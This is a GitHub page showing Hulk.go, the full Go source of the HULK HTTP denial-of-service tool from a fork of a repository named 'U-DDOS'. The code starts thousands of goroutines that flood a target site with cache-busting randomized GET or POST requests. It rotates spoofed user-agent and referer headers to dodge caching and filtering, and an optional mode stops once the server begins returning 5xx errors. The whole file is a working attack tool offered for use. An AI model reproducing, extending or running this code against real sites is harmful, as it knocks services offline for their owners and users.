forked from U7P4L-IN/U-DDOS
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Hulk.go
231 lines (203 loc) · 6.38 KB
/
Hulk.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
package main
/*
HULK DoS tool on <strike>steroids</strike> goroutines. Just ported from Python with some improvements.
Original Python utility by Barry Shteiman http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/
This go program licensed under GPLv3.
Copyright Alexander I.Grafov <[email protected]>
*/
import (
"flag"
"fmt"
"io/ioutil"
"math/rand"
"net/http"
"net/url"
"os"
"os/signal"
"strconv"
"strings"
"sync/atomic"
"syscall"
)
const __version__ = "1.0.1"
// const acceptCharset = "windows-1251,utf-8;q=0.7,*;q=0.7" // use it for runet
const acceptCharset = "ISO-8859-1,utf-8;q=0.7,*;q=0.7"
const (
callGotOk uint8 = iota
callExitOnErr
callExitOnTooManyFiles
targetComplete
)
// global params
var (
safe bool = false
headersReferers []string = []string{
"http://www.google.com/?q=",
"http://www.usatoday.com/search/results?q=",
"http://engadget.search.aol.com/search?q=",
//"http://www.google.ru/?hl=ru&q=",
//"http://yandex.ru/yandsearch?text=",
}
headersUseragents []string = []string{
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Vivaldi/1.3.501.6",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
"Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
"Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
"Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
}
cur int32
)
type arrayFlags []string
func (i *arrayFlags) String() string {
return "[" + strings.Join(*i, ",") + "]"
}
func (i *arrayFlags) Set(value string) error {
*i = append(*i, value)
return nil
}
func main() {
var (
version bool
site string
agents string
data string
headers arrayFlags
)
flag.BoolVar(&version, "version", false, "print version and exit")
flag.BoolVar(&safe, "safe", false, "Autoshut after dos.")
flag.StringVar(&site, "site", "http://localhost", "Destination site.")
flag.StringVar(&agents, "agents", "", "Get the list of user-agent lines from a file. By default the predefined list of useragents used.")
flag.StringVar(&data, "data", "", "Data to POST. If present hulk will use POST requests instead of GET")
flag.Var(&headers, "header", "Add headers to the request. Could be used multiple times")
flag.Parse()
t := os.Getenv("HULKMAXPROCS")
maxproc, err := strconv.Atoi(t)
if err != nil {
maxproc = 15000
}
u, err := url.Parse(site)
if err != nil {
fmt.Println("err parsing url parameter\n")
os.Exit(1)
}
if version {
fmt.Println("Hulk", __version__)
os.Exit(0)
}
if agents != "" {
if data, err := ioutil.ReadFile(agents); err == nil {
headersUseragents = []string{}
for _, a := range strings.Split(string(data), "\n") {
if strings.TrimSpace(a) == "" {
continue
}
headersUseragents = append(headersUseragents, a)
}
} else {
fmt.Printf("can'l load User-Agent list from %s\n", agents)
os.Exit(1)
}
}
go func() {
fmt.Println("-- HULK Attack Started --\n Go!\n\n")
ss := make(chan uint8, 8)
var (
err, sent int32
)
fmt.Println("In use |\tResp OK |\tGot err")
for {
if atomic.LoadInt32(&cur) < int32(maxproc-1) {
go httpcall(site, u.Host, data, headers, ss)
}
if sent%10 == 0 {
fmt.Printf("\r%6d of max %-6d |\t%7d |\t%6d", cur, maxproc, sent, err)
}
switch <-ss {
case callExitOnErr:
atomic.AddInt32(&cur, -1)
err++
case callExitOnTooManyFiles:
atomic.AddInt32(&cur, -1)
maxproc--
case callGotOk:
sent++
case targetComplete:
sent++
fmt.Printf("\r%-6d of max %-6d |\t%7d |\t%6d", cur, maxproc, sent, err)
fmt.Println("\r-- HULK Attack Finished -- \n\n\r")
os.Exit(0)
}
}
}()
ctlc := make(chan os.Signal)
signal.Notify(ctlc, syscall.SIGINT, syscall.SIGKILL, syscall.SIGTERM)
<-ctlc
fmt.Println("\r\n-- Interrupted by user -- \n")
}
func httpcall(url string, host string, data string, headers arrayFlags, s chan uint8) {
atomic.AddInt32(&cur, 1)
var param_joiner string
var client = new(http.Client)
if strings.ContainsRune(url, '?') {
param_joiner = "&"
} else {
param_joiner = "?"
}
for {
var q *http.Request
var err error
if data == "" {
q, err = http.NewRequest("GET", url+param_joiner+buildblock(rand.Intn(7)+3)+"="+buildblock(rand.Intn(7)+3), nil)
} else {
q, err = http.NewRequest("POST", url, strings.NewReader(data))
}
if err != nil {
s <- callExitOnErr
return
}
q.Header.Set("User-Agent", headersUseragents[rand.Intn(len(headersUseragents))])
q.Header.Set("Cache-Control", "no-cache")
q.Header.Set("Accept-Charset", acceptCharset)
q.Header.Set("Referer", headersReferers[rand.Intn(len(headersReferers))]+buildblock(rand.Intn(5)+5))
q.Header.Set("Keep-Alive", strconv.Itoa(rand.Intn(10)+100))
q.Header.Set("Connection", "keep-alive")
q.Header.Set("Host", host)
// Overwrite headers with parameters
for _, element := range headers {
words := strings.Split(element, ":")
q.Header.Set(strings.TrimSpace(words[0]), strings.TrimSpace(words[1]))
}
r, e := client.Do(q)
if e != nil {
fmt.Fprintln(os.Stderr, e.Error())
if strings.Contains(e.Error(), "socket: too many open files") {
s <- callExitOnTooManyFiles
return
}
s <- callExitOnErr
return
}
r.Body.Close()
s <- callGotOk
if safe {
if r.StatusCode >= 500 {
s <- targetComplete
}
}
}
}
func buildblock(size int) (s string) {
var a []rune
for i := 0; i < size; i++ {
a = append(a, rune(rand.Intn(25)+65))
}
return string(a)
}